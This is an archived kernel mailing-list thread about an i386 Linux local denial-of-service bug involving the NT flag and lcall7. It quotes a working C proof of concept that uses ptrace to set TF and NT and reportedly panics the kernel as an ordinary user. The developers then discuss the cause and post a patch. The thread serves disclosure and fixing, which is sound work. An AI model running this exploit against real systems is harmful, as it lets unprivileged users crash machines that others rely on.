i386 Linux kernel DoS (clarification)
Quoted 40 lines · Leif Sawyer
#include <
sys/ptrace.h>struct user_regs_struct { long ebx, ecx, edx, esi, edi, ebp, eax; unsigned short ds, __ds, es, __es; unsigned short fs, __fs, gs, __gs; long orig_eax, eip; unsigned short cs, __cs; long eflags, esp; unsigned short ss, __ss; };int main( void )
{ int pid; char dos[] = "\x9A\x00\x00\x00\x00\x07\x00"; void (* lcall7)( void ) = (void *) dos; struct user_regs_struct d; if( ! ( pid = fork() ) ) { usleep( 1000 ); (* lcall7)(); } else { ptrace( PTRACE_ATTACH, pid, 0, 0 ); while( 1 ) { wait( 0 ); ptrace( PTRACE_GETREGS, pid, 0, &d ); d.eflags |= 0x4100; /* set TF and NT */ ptrace( PTRACE_SETREGS, pid, 0, &d ); ptrace( PTRACE_SYSCALL, pid, 0, 0 ); } } return 1; }
Quoted 4 lines
At the beginning I thought only kernels <= 2.4.18 were affected; but it appeared that both kernels 2.4.19 and 2.4.20-rc1 are vulnerable as well. The flaw seems to be related to the kernel's handling of the nested task (NT) flag inside a lcall7.
2.5.47-current-bk, run as mere user: Kernel panic: Attempted to kill init! Next time I'll trust you.
Petr Vandrovec [email protected]
Quoted 2 lines · Petr Vandrovec
2.5.47-current-bk, run as mere user: Kernel panic: Attempted to kill init! Next time I'll trust you.
It does the lcall
The lcall takes an exception
The exception (TF) has NT set
iret returns via the task linkage
I think just clearing the NT bit in both lcall path _and_ in the TF exception handler does the trick.
Quoted 11 lines · Alan Cox
Quoted 2 lines · Petr Vandrovec
2.5.47-current-bk, run as mere user: Kernel panic: Attempted to kill init! Next time I'll trust you.
It does the lcall
The lcall takes an exception
The exception (TF) has NT set
iret returns via the task linkageI think just clearing the NT bit in both lcall path _and_ in the TF exception handler does the trick.
This fixes it for me. I'll have to look at ia32 manual at home, why I must do pushl %eax & popfl, as NT should be already cleared by do_debug(). I probably miss something obvious, but I do not think that adding these three instructions into lcall7/27 fastpath is acceptable.
Without pushl %eax & popfl it behaved much better than originally:
modprobe started, said that personality-1 does not exist, and then system killed init (instead of killing init immediately).
Best regards,
Petr Vandrovec [email protected]
arch/i386/kernel/entry.S +6 -0
@@ -131,6 +131,9 @@ movl EIP(%esp), %eax # due to call gates, this is eflags, not eip.. movl CS(%esp), %edx # this is eip.. movl EFLAGS(%esp), %ecx # and this is cs.. + andl $~NT_MASK, %eax + pushl %eax + popfl movl %eax,EFLAGS(%esp) # movl %edx,EIP(%esp) # Now we move them to their "normal" places movl %ecx,CS(%esp) #
@@ -153,6 +156,9 @@ movl EIP(%esp), %eax # due to call gates, this is eflags, not eip.. movl CS(%esp), %edx # this is eip.. movl EFLAGS(%esp), %ecx # and this is cs.. + andl $~NT_MASK, %eax + pushl %eax + popfl movl %eax,EFLAGS(%esp) # movl %edx,EIP(%esp) # Now we move them to their "normal" places movl %ecx,CS(%esp) #
arch/i386/kernel/traps.c +1 -1
@@ -636,7 +636,7 @@return ; clear_TF: - regs->eflags &= ~TF_MASK ; + regs->eflags &= ~(TF_MASK |NT_MASK );return ; }
Quoted 4 lines · Petr Vandrovec
This fixes it for me. I'll have to look at ia32 manual at home, why I must do pushl %eax & popfl, as NT should be already cleared by
do_debug(). I probably miss something obvious, but I do not think that adding these three instructions into lcall7/27 fastpath is acceptable.
I dont think you can avoid it without ceasing to be clever. The problem is Linus or someone pulled a nifty track so that we do an lcall in and an iret.
lcall doesnt clear NT
iret when it sees NT is set performs a task switch to the link field in the current TSS.